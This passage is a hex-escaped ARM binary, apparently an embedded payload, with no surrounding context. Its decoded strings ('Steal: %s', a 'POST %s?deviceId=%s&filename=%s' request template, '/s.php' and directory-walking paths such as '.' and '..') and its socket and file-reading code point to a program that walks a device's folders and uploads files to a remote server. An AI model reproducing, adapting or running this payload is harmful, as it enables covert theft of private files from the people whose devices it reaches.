x00\\x00\\x00\\x0D\\x00\\xA0\\xE1\\x00\\x10\\xA0\\xE3\\x04\\x20\\x8F\\xE2\\x04\\x30\\x8F\\xE2\\xC3\\xFF\\xFF\\xEA\\xD0\\x01\\x00\\xEA\\x04\\xA0\\x00\\x00\\x0C\\xA0\\x00\\x00\\x14\\xA0\\x00\\x00\\x18\\xA0\\x00\\x00\\x00\\x00\\xA0\\xE1\\x00\\x00\\xA0\\xE1\\x0D\\xC0\\xA0\\xE1\\x00\\xD8\\x2D\\xE9\\x04\\xB0\\x4C\\xE2\\x08\\xD0\\x4D\\xE2\\x02\\x00\\xA0\\xE3\\x01\\x10\\xA0\\xE3\\x06\\x20\\xA0\\xE3\\xA8\\xFF\\xFF\\xEB\\x00\\x30\\xA0\\xE1\\x10\\x30\\x0B\\xE5\\x10\\x30\\x1B\\xE5\\x00\\x00\\x53\\xE3\\x01\\x00\\x00\\xAA\\x01\\x00\\xA0\\xE3\\xD4\\xFF\\xFF\\xEB\\x10\\x30\\x1B\\xE5\\x03\\x00\\xA0\\xE1\\x0C\\xD0\\x4B\\xE2\\x00\\xA8\\x9D\\xE8\\x0D\\xC0\\xA0\\xE1\\x00\\xD8\\x2D\\xE9\\x04\\xB0\\x4C\\xE2\\x08\\xD0\\x4D\\xE2\\x10\\x00\\x0B\\xE5\\x10\\x30\\x1B\\xE5\\x09\\x00\\x53\\xE3\\x02\\x00\\x00\\xCA\\x01\\x20\\xA0\\xE3\\x14\\x20\\x0B\\xE5\\x0A\\x00\\x00\\xEA\\x10\\x10\\x1B\\xE5\\x30\\x30\\x9F\\xE5\\x91\\x23\\xC3\\xE0\\x43\\x21\\xA0\\xE1\\xC1\\x3F\\xA0\\xE1\\x02\\x30\\x63\\xE0\\x03\\x00\\xA0\\xE1\\xEC\\xFF\\xFF\\xEB\\x00\\x30\\xA0\\xE1\\x01\\x30\\x83\\xE2\\x14\\x30\\x0B\\xE5\\x14\\x30\\x1B\\xE5\\x03\\x00\\xA0\\xE1\\x0C\\xD0\\x4B\\xE2\\x00\\xA8\\x9D\\xE8\\x67\\x66\\x66\\x66\\x0D\\xC0\\xA0\\xE1\\x10\\xD8\\x2D\\xE9\\x04\\xB0\\x4C\\xE2\\x5C\\xD0\\x4D\\xE2\\xB0\\x23\\x9F\\xE5\\x5C\\x20\\x0B\\xE5\\x5C\\x30\\x1B\\xE5\\x03\\x30\\x8F\\xE0\\x5C\\x30\\x0B\\xE5\\x50\\x00\\x0B\\xE5\\x54\\x10\\x0B\\xE5\\x98\\x33\\x9F\\xE5\\x5C\\x20\\x1B\\xE5\\x03\\x30\\x82\\xE0\\x03\\x00\\xA0\\xE1\\x54\\x10\\x1B\\xE5\\x62\\xFF\\xFF\\xEB\\x54\\x00\\x1B\\xE5\\x80\\x33\\x9F\\xE5\\x5C\\x20\\x1B\\xE5\\x03\\x30\\x82\\xE0\\x03\\x10\\xA0\\xE1\\x80\\xFF\\xFF\\xEB\\x00\\x30\\xA0\\xE1\\x1C\\x30\\x0B\\xE5\\xB7\\xFF\\xFF\\xEB\\x00\\x30\\xA0\\xE1\\x20\\x30\\x0B\\xE5\\x04\\x00\\xA0\\xE3\\x61\\xFF\\xFF\\xEB\\x00\\x30\\xA0\\xE1\\x24\\x30\\x0B\\xE5\\x24\\x20\\x1B\\xE5\\x02\\x30\\xA0\\xE3\\xB0\\x30\\xC2\\xE1\\x24\\x30\\x1B\\xE5\\x04\\x30\\x83\\xE2\\x02\\x00\\xA0\\xE3\\x50\\x10\\x1B\\xE5\\x03\\x20\\xA0\\xE1\\x53\\xFF\\xFF\\xEB\\x00\\x30\\xA0\\xE1\\x28\\x30\\x0B\\xE5\\x28\\x30\\x1B\\xE5\\x00\\x00\\x53\\xE3\\x01\\x00\\x00\\xAA\\x01\\x00\\xA0\\xE3\\x85\\xFF\\xFF\\xEB\\x28\\x30\\x1B\\xE5\\x00\\x00\\x53\\xE3\\x01\\x00\\x00\\x1A\\x01\\x00\\xA0\\xE3\\x80\\xFF\\xFF\\xEB\\x50\\x30\\xA0\\xE3\\xB8\\x31\\x4B\\xE1\\xB8\\x31\\x5B\\xE1\\x03\\x34\\xA0\\xE1\\x03\\x38\\xA0\\xE1\\x23\\x28\\xA0\\xE1\\xB8\\x31\\x5B\\xE1\\x23\\x34\\xA0\\xE1\\x03\\x38\\xA0\\xE1\\x23\\x38\\xA0\\xE1\\x03\\x30\\x82\\xE1\\x03\\x38\\xA0\\xE1\\x23\\x38\\xA0\\xE1\\x03\\x38\\xA0\\xE1\\x23\\x28\\xA0\\xE1\\x24\\x30\\x1B\\xE5\\xB2\\x20\\xC3\\xE1\\x24\\x30\\x1B\\xE5\\x20\\x00\\x1B\\xE5\\x03\\x10\\xA0\\xE1\\x10\\x20\\xA0\\xE3\\x2E\\xFF\\xFF\\xEB\\x00\\x30\\xA0\\xE1\\x00\\x00\\x53\\xE3\\x01\\x00\\x00\\xAA\\x01\\x00\\xA0\\xE3\\x65\\xFF\\xFF\\xEB\\x1C\\x00\\x1B\\xE5\\x00\\x10\\xA0\\xE3\\x02\\x20\\xA0\\xE3\\x3D\\xFF\\xFF\\xEB\\x1C\\x00\\x1B\\xE5\\x44\\xFF\\xFF\\xEB\\x00\\x30\\xA0\\xE1\\x2C\\x30\\x0B\\xE5\\x2C\\x00\\x1B\\xE5\\x8A\\xFF\\xFF\\xEB\\x00\\x30\\xA0\\xE1\\x03\\x00\\xA0\\xE1\\x22\\xFF\\xFF\\xEB\\x00\\x30\\xA0\\xE1\\x30\\x30\\x0B\\xE5\\x1C\\x00\\x1B\\xE5\\x00\\x10\\xA0\\xE3\\x00\\x20\\xA0\\xE3\\x2E\\xFF\\xFF\\xEB\\x30\\x00\\x1B\\xE5\\x3C\\x32\\x9F\\xE5\\x5C\\x20\\x1B\\xE5\\x03\\x30\\x82\\xE0\\x03\\x10\\xA0\\xE1\\x2C\\x20\\x1B\\xE5\\x45\\xFF\\xFF\\xEB\\x54\\x00\\x1B\\xE5\\x4C\\xFF\\xFF\\xEB\\x00\\x30\\xA0\\xE1\\x01\\x30\\x83\\xE2\\x03\\x00\\xA0\\xE1\\x0F\\xFF\\xFF\\xEB\\x00\\x30\\xA0\\xE1\\x34\\x30\\x0B\\xE5\\x34\\x00\\x1B\\xE5\\x54\\x10\\x1B\\xE5\\xFB\\xFE\\xFF\\xEB\\x00\\x30\\xA0\\xE3\\x38\\x30\\x0B\\xE5\\x00\\x30\\xA0\\xE3\\x38\\x30\\x0B\\xE5\\x0D\\x00\\x00\\xEA\\x38\\x20\\x1B\\xE5\\x34\\x30\\x1B\\xE5\\x02\\x30\\x83\\xE0\\x00\\x30\\xD3\\xE5\\x2F\\x00\\x53\\xE3\\x04\\x00\\x00\\x1A\\x38\\x20\\x1B\\xE5\\x34\\x30\\x1B\\xE5\\x02\\x20\\x83\\xE0\\x5F\\x30\\xA0\\xE3\\x00\\x30\\xC2\\xE5\\x38\\x30\\x1B\\xE5\\x01\\x30\\x83\\xE2\\x38\\x30\\x0B\\xE5\\x38\\x40\\x1B\\xE5\\x34\\x00\\x1B\\xE5\\x2D\\xFF\\xFF\\xEB\\x00\\x30\\xA0\\xE1\\x03\\x00\\x54\\xE1\\xEB\\xFF\\xFF\\x3A\\x98\\x31\\x9F\\xE5\\x5C\\x20\\x1B\\xE5\\x03\\x30\\x82\\xE0\\x3C\\x30\\x0B\\xE5\\x3C\\x00\\x1B\\xE5\\x24\\xFF\\xFF\\xEB\\x00\\x40\\xA0\\xE1\\x80\\x31\\x9F\\xE5\\x5C\\x20\\x1B\\xE5\\x03\\x30\\x92\\xE7\\x00\\x30\\x93\\xE5\\x03\\x00\\xA0\\xE1\\x1D\\xFF\\xFF\\xEB\\x00\\x30\\xA0\\xE1\\x03\\x40\\x84\\xE0\\x34\\x00\\x1B\\xE5\\x19\\xFF\\xFF\\xEB\\x00\\x30\\xA0\\xE1\\x03\\x40\\x84\\xE0\\x50\\x00\\x1B\\xE5\\x15\\xFF\\xFF\\xEB\\x00\\x30\\xA0\\xE1\\x03\\x40\\x84\\xE0\\x30\\x00\\x1B\\xE5\\x11\\xFF\\xFF\\xEB\\x00\\x30\\xA0\\xE1\\x03\\x30\\x84\\xE0\\x03\\x30\\x43\\xE2\\x03\\x00\\xA0\\xE1\\xD3\\xFE\\xFF\\xEB\\x00\\x30\\xA0\\xE1\\x40\\x30\\x0B\\xE5\\x1C\\x31\\x9F\\xE5\\x5C\\x20\\x1B\\xE5\\x03\\x30\\x92\\xE7\\x00\\xC0\\x93\\xE5\\x34\\x30\\x1B\\xE5\\x00\\x30\\x8D\\xE5\\x50\\x30\\x1B\\xE5\\x04\\x30\\x8D\\xE5\\x30\\x30\\x1B\\xE5\\x08\\x30\\x8D\\xE5\\x40\\x00\\x1B\\xE5\\x3C\\x10\\x1B\\xE5\\xF0\\x30\\x9F\\xE5\\x5C\\x20\\x1B\\xE5\\x03\\x30\\x82\\xE0\\x03\\x20\\xA0\\xE1\\x0C\\x30\\xA0\\xE1\\xEF\\xFE\\xFF\\xEB\\x40\\x00\\x1B\\xE5\\xF6\\xFE\\xFF\\xEB\\x00\\x30\\xA0\\xE1\\x20\\x00\\x1B\\xE5\\x40\\x10\\x1B\\xE5\\x03\\x20\\xA0\\xE1\\x00\\x30\\xA0\\xE3\\xC0\\xFE\\xFF\\xEB\\x1C\\x00\\x1B\\xE5\\xE2\\xFE\\xFF\\xEB\\x00\\x30\\xA0\\xE1\\x44\\x30\\x0B\\xE5\\x44\\x30\\x1B\\xE5\\x01\\x00\\x73\\xE3\\x08\\x00\\x00\\x0A\\x44\\x30\\x1B\\xE5\\xFF\\x30\\x03\\xE2\\x15\\x30\\x4B\\xE5\\x15\\x30\\x4B\\xE2\\x20\\x00\\x1B\\xE5\\x03\\x10\\xA0\\xE1\\x01\\x20\\xA0\\xE3\\x00\\x30\\xA0\\xE3\\xB0\\xFE\\xFF\\xEB\\x44\\x30\\x1B\\xE5\\x01\\x00\\x73\\xE3\\xEC\\xFF\\xFF\\x1A\\x49\\x30\\x4B\\xE2\\x20\\x00\\x1B\\xE5\\x03\\x10\\xA0\\xE1\\x05\\x20\\xA0\\xE3\\x00\\x30\\xA0\\xE3\\x95\\xFE\\xFF\\xEB\\x00\\x30\\xA0\\xE1\\x28\\x30\\x0B\\xE5\\x28\\x30\\x1B\\xE5\\x00\\x00\\x53\\xE3\\xF4\\xFF\\xFF\\xCA\\x1C\\x00\\x1B\\xE5\\xB5\\xFE\\xFF\\xEB\\x20\\x00\\x1B\\xE5\\xD4\\xFE\\xFF\\xEB\\x24\\x00\\x1B\\xE5\\xD5\\xFE\\xFF\\xEB\\x40\\x00\\x1B\\xE5\\xD3\\xFE\\xFF\\xEB\\x30\\x00\\x1B\\xE5\\xD1\\xFE\\xFF\\xEB\\x10\\xD0\\x4B\\xE2\\x10\\xA8\\x9D\\xE8\\xFC\\x16\\x00\\x00\\x18\\xF1\\xFF\\xFF\\x28\\xF1\\xFF\\xFF\\x30\\xF1\\xFF\\xFF\\x38\\xF1\\xFF\\xFF\\x84\\x00\\x00\\x00\\x98\\xF1\\xFF\\xFF\\x0D\\xC0\\xA0\\xE1\\x10\\xD8\\x2D\\xE9\\x04\\xB0\\x4C\\xE2\\x8C\\xD0\\x4D\\xE2\\x48\\x21\\x9F\\xE5\\x98\\x20\\x0B\\xE5\\x98\\x30\\x1B\\xE5\\x03\\x30\\x8F\\xE0\\x98\\x30\\x0B\\xE5\\x88\\x00\\x0B\\xE5\\x8C\\x10\\x0B\\xE5\\x30\\x31\\x9F\\xE5\\x98\\x20\\x1B\\xE5\\x03\\x30\\x92\\xE7\\x00\\x30\\x93\\xE5\\x18\\x30\\x0B\\xE5\\x20\\x31\\x9F\\xE5\\x98\\x20\\x1B\\xE5\\x03\\x30\\x82\\xE0\\x03\\x00\\xA0\\xE1\\x8C\\x10\\x1B\\xE5\\x97\\xFE\\xFF\\xEB\\x00\\x30\\xA0\\xE1\\x00\\x00\\x53\\xE3\\x08\\x00\\x00\\x0A\\x00\\x31\\x9F\\xE5\\x98\\x20\\x1B\\xE5\\x03\\x30\\x82\\xE0\\x03\\x00\\xA0\\xE1\\x8C\\x10\\x1B\\xE5\\x8E\\xFE\\xFF\\xEB\\x00\\x30\\xA0\\xE1\\x00\\x00\\x53\\xE3\\x02\\x00\\x00\\x1A\\x00\\x30\\xE0\\xE3\\x94\\x30\\x0B\\xE5\\x26\\x00\\x00\\xEA\\x8C\\x00\\x1B\\xE5\\x98\\xFE\\xFF\\xEB\\x00\\x40\\xA0\\xE1\\x88\\x00\\x1B\\xE5\\x95\\xFE\\xFF\\xEB\\x00\\x30\\xA0\\xE1\\x03\\x30\\x84\\xE0\\x02\\x30\\x83\\xE2\\x07\\x30\\x83\\xE2\\x07\\x30\\x83\\xE2\\xA3\\x31\\xA0\\xE1\\x83\\x31\\xA0\\xE1\\x0D\\xD0\\x63\\xE0\\x90\\xD0\\x0B\\xE5\\x90\\x20\\x1B\\xE5\\x07\\x30\\x82\\xE2\\xA3\\x31\\xA0\\xE1\\x83\\x31\\xA0\\xE1\\x90\\x30\\x0B\\xE5\\x90\\x30\\x1B\\xE5\\x1C\\x30\\x0B\\xE5\\x1C\\x00\\x1B\\xE5\\x7C\\x30\\x9F\\xE5\\x98\\x20\\x1B\\xE5\\x03\\x30\\x82\\xE0\\x03\\x10\\xA0\\xE1\\x88\\x20\\x1B\\xE5\\x8C\\x30\\x1B\\xE5\\x74\\xFE\\xFF\\xEB\\x84\\x30\\x4B\\xE2\\x1C\\x00\\x1B\\xE5\\x03\\x10\\xA0\\xE1\\x73\\xFE\\xFF\\xEB\\x74\\x30\\x1B\\xE5\\x0F\\x3A\\x03\\xE2\\x01\\x09\\x53\\xE3\\x00\\x30\\xA0\\x13\\x01\\x30\\xA0\\x03\\x94\\x30\\x0B\\xE5\\x94\\x30\\x1B\\xE5\\x03\\x00\\xA0\\xE1\\x24\\x30\\x9F\\xE5\\x98\\x20\\x1B\\xE5\\x03\\x30\\x92\\xE7\\x18\\x20\\x1B\\xE5\\x00\\x30\\x93\\xE5\\x03\\x00\\x52\\xE1\\x00\\x00\\x00\\x0A\\x3C\\xFE\\xFF\\xEB\\x10\\xD0\\x4B\\xE2\\x10\\xA8\\x9D\\xE8\\x18\\x13\\x00\\x00\\x80\\x00\\x00\\x00\\xA0\\xF1\\xFF\\xFF\\xA8\\xF1\\xFF\\xFF\\xB0\\xF1\\xFF\\xFF\\x0D\\xC0\\xA0\\xE1\\x10\\xD8\\x2D\\xE9\\x04\\xB0\\x4C\\xE2\\x2C\\xD0\\x4D\\xE2\\xFC\\x20\\x9F\\xE5\\x3C\\x20\\x0B\\xE5\\x3C\\x30\\x1B\\xE5\\x03\\x30\\x8F\\xE0\\x3C\\x30\\x0B\\xE5\\x30\\x00\\x0B\\xE5\\x34\\x10\\x0B\\xE5\\x34\\x00\\x1B\\xE5\\x40\\xFE\\xFF\\xEB\\x00\\x30\\xA0\\xE1\\x18\\x30\\x0B\\xE5\\x29\\x00\\x00\\xEA\\x1C\\x30\\x1B\\xE5\\x13\\x30\\x83\\xE2\\x20\\x30\\x0B\\xE5\\x34\\x00\\x1B\\xE5\\x4D\\xFE\\xFF\\xEB\\x00\\x40\\xA0\\xE1\\x20\\x00\\x1B\\xE5\\x4A\\xFE\\xFF\\xEB\\x00\\x30\\xA0\\xE1\\x03\\x30\\x84\\xE0\\x02\\x30\\x83\\xE2\\x03\\x00\\xA0\\xE1\\x0C\\xFE\\xFF\\xEB\\x00\\x30\\xA0\\xE1\\x24\\x30\\x0B\\xE5\\x24\\x00\\x1B\\xE5\\x90\\x30\\x9F\\xE5\\x3C\\x20\\x1B\\xE5\\x03\\x30\\x82\\xE0\\x03\\x10\\xA0\\xE1\\x34\\x20\\x1B\\xE5\\x20\\x30\\x1B\\xE5\\x32\\xFE\\xFF\\xEB\\x34\\x00\\x1B\\xE5\\x20\\x10\\x1B\\xE5\\x78\\xFF\\xFF\\xEB\\x00\\x30\\xA0\\xE1\\x28\\x30\\x0B\\xE5\\x28\\x30\\x1B\\xE5\\x00\\x00\\x53\\xE3\\x02\\x00\\x00\\x1A\\x30\\x00\\x1B\\xE5\\x24\\x10\\x1B\\xE5\\x77\\xFE\\xFF\\xEB\\x28\\x30\\x1B\\xE5\\x01\\x00\\x53\\xE3\\x02\\x00\\x00\\x1A\\x30\\x00\\x1B\\xE5\\x24\\x10\\x1B\\xE5\\xC7\\xFF\\xFF\\xEB\\x24\\x00\\x1B\\xE5\\x31\\xFE\\xFF\\xEB\\x18\\x00\\x1B\\xE5\\xF3\\xFD\\xFF\\xEB\\x00\\x30\\xA0\\xE1\\x1C\\x30\\x0B\\xE5\\x1C\\x30\\x1B\\xE5\\x00\\x00\\x53\\xE3\\xCE\\xFF\\xFF\\x1A\\x18\\x00\\x1B\\xE5\\x22\\xFE\\xFF\\xEB\\x10\\xD0\\x4B\\xE2\\x10\\xA8\\x9D\\xE8\\xA4\\x11\\x00\\x00\\xB0\\xF1\\xFF\\xFF\\x0D\\xC0\\xA0\\xE1\\x10\\xD8\\x2D\\xE9\\x04\\xB0\\x4C\\xE2\\x24\\xD0\\x4D\\xE2\\x3C\\x21\\x9F\\xE5\\x30\\x20\\x0B\\xE5\\x30\\x30\\x1B\\xE5\\x03\\x30\\x8F\\xE0\\x30\\x30\\x0B\\xE5\\x20\\x00\\x0B\\xE5\\x24\\x10\\x0B\\xE5\\x0B\\x00\\xA0\\xE3\\xD5\\xFD\\xFF\\xEB\\x00\\x30\\xA0\\xE1\\x03\\x20\\xA0\\xE1\\x14\\x31\\x9F\\xE5\\x30\\x10\\x1B\\xE5\\x03\\x30\\x91\\xE7\\x00\\x20\\x83\\xE5\\x00\\x00\\xA0\\xE3\\xEE\\xFD\\xFF\\xEB\\x00\\x30\\xA0\\xE1\\x03\\x00\\xA0\\xE1\\x3F\\x00\\x00\\xEB\\x00\\x30\\xA0\\xE3\\x18\\x30\\x0B\\xE5\\x00\\x30\\xA0\\xE3\\x18\\x30\\x0B\\xE5\\x1A\\x00\\x00\\xEA\\xDC\\x30\\x9F\\xE5\\x30\\x20\\x1B\\xE5\\x03\\x30\\x92\\xE7\\x00\\x20\\x93\\xE5\\x18\\x30\\x1B\\xE5\\x03\\x40\\x82\\xE0\\x3D\\x00\\x00\\xEB\\x00\\x20\\xA0\\xE1\\xC0\\x30\\x9F\\xE5\\x92\\x13\\xC3\\xE0\\x43\\x11\\xA0\\xE1\\xC2\\x3F\\xA0\\xE1\\x01\\x30\\x63\\xE0\\x28\\x30\\x0B\\xE5\\x0A\\x30\\xA0\\xE3\\x28\\x10\\x1B\\xE5\\x91\\x03\\x03\\xE0\\x02\\x30\\x63\\xE0\\x28\\x30\\x0B\\xE5\\x28\\x20\\x1B\\xE5\\xFF\\x30\\x02\\xE2\\x30\\x30\\x83\\xE2\\xFF\\x30\\x03\\xE2\\x00\\x30\\xC4\\xE5\\x18\\x30\\x1B\\xE5\\x01\\x30\\x83\\xE2\\x18\\x30\\x0B\\xE5\\x18\\x30\\x1B\\xE5\\x09\\x00\\x53\\xE3\\xE1\\xFF\\xFF\\xDA\\x64\\x30\\x9F\\xE5\\x30\\x10\\x1B\\xE5\\x03\\x30\\x91\\xE7\\x00\\x30\\x93\\xE5\\x0A\\x20\\x83\\xE2\\x00\\x30\\xA0\\xE3\\x00\\x30\\xC2\\xE5\\x48\\x30\\x9F\\xE5\\x30\\x20\\x1B\\xE5\\x03\\x30\\x92\\xE7\\x00\\x30\\x93\\xE5\\x03\\x00\\xA0\\xE1\\x8E\\xFD\\xFF\\xEB\\x0A\\x00\\xA0\\xE3\\x86\\xFD\\xFF\\xEB\\x24\\x30\\x1B\\xE5\\x04\\x30\\x83\\xE2\\x00\\x20\\x93\\xE5\\x24\\x30\\x1B\\xE5\\x08\\x30\\x83\\xE2\\x00\\x30\\x93\\xE5\\x02\\x00\\xA0\\xE1\\x03\\x10\\xA0\\xE1\\x65\\xFF\\xFF\\xEB\\x10\\xD0\\x4B\\xE2\\x10\\xA8\\x9D\\xE8\\x88\\x10\\x00\\x00\\x84\\x00\\x00\\x00\\x67\\x66\\x66\\x66\\x0D\\xC0\\xA0\\xE1\\x00\\xD8\\x2D\\xE9\\x04\\xB0\\x4C\\xE2\\x08\\xD0\\x4D\\xE2\\x10\\x00\\x0B\\xE5\\x10\\x30\\x1B\\xE5\\x03\\x00\\xA0\\xE1\\x97\\xFD\\xFF\\xEB\\x0C\\xD0\\x4B\\xE2\\x00\\xA8\\x9D\\xE8\\x0D\\xC0\\xA0\\xE1\\x00\\xD8\\x2D\\xE9\\x04\\xB0\\x4C\\xE2\\xA6\\xFD\\xFF\\xEB\\x00\\x30\\xA0\\xE1\\x03\\x00\\xA0\\xE1\\x00\\xA8\\x9D\\xE8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x53\\x74\\x65\\x61\\x6C\\x3A\\x20\\x25\\x73\\x0A\\x00\\x00\\x00\\x00\\x00\\x00\\x72\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x25\\x64\\x00\\x00\\x00\\x00\\x00\\x00\\x50\\x4F\\x53\\x54\\x20\\x25\\x73\\x3F\\x64\\x65\\x76\\x69\\x63\\x65\\x49\\x64\\x3D\\x25\\x73\\x26\\x66\\x69\\x6C\\x65\\x6E\\x61\\x6D\\x65\\x3D\\x25\\x73\\x20\\x48\\x54\\x54\\x50\\x2F\\x31\\x2E\\x31\\x0D\\x0A\\x48\\x6F\\x73\\x74\\x3A\\x20\\x25\\x73\\x0D\\x0A\\x43\\x6F\\x6E\\x6E\\x65\\x63\\x74\\x69\\x6F\\x6E\\x3A\\x20\\x63\\x6C\\x6F\\x73\\x65\\x0D\\x0A\\x43\\x6F\\x6E\\x74\\x65\\x6E\\x74\\x2D\\x4C\\x65\\x6E\\x67\\x74\\x68\\x3A\\x20\\x25\\x73\\x0D\\x0A\\x0D\\x0A\\x00\\x00\\x00\\x2F\\x73\\x2E\\x70\\x68\\x70\\x00\\x00\\x2E\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x2E\\x2E\\x00\\x00\\x00\\x00\\x00\\x00\\x25\\x73\\x2F\\x25\\x73\\x00\\x00\\x00\\x42\\x9B\\x01\\x81\\xB0\\xB0\\x80\\x86\\x00\\x00\\x00\\x00\\x42\\x9B\\x01\\x81\\xB0\\xB0\\x80\\x86\\x00\\x00\\x00\\x00\\x43\\x9B\\x01\\x81\\xB0\\xB0\\x81\\x86\\x00\\x00\\x00\\x00\\x43\\x9B\\x01\\x81\\xB0\\xB0\\x81\\x86\\x00\\x00\\x00\\x00\\x43\\x9B\\x01\\x81\\xB0\\xB0\\x81\\x86\\x00\\x00\\x00\\x00\\x43\\x9B\\x01\\x81\\xB0\\xB0\\x81\\x86\\x00\\x00\\x00\\x00\\x42\\x9B\\x01\\x81\\xB0\\xB0\\x80\\x86\\x00\\x00\\x00\\x00\\x42\\x9B\\x01\\x81\\xB0\\xB0\\x80\\x86\\x00\\x00\\x00\\x00\\x10\\xF6\\xFF\\x7F\\x9C\\xFF\\xFF\\x7F\\x54\\xF6\\xFF\\x7F\\xA0\\xFF\\xFF\\x7F\\xB8\\xF6\\xFF\\x7F\\xA4\\xFF\\xFF\\x7F\\x94\\xFA\\xFF\\x7F\\xA8\\xFF\\xFF\\x7F\\x00\\xFC\\xFF\\x7F\\xAC\\xFF\\xFF\\x7F\\x14\\xFD\\xFF\\x7F\\xB0\\xFF\\xFF\\x7F\\x6C\\xFE\\xFF\\x7F\\xB4\\xFF\\xFF\\x7F\\x8C\\xFE\\xFF\\x7F\\xB8\\xFF\\xFF\\x7F\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x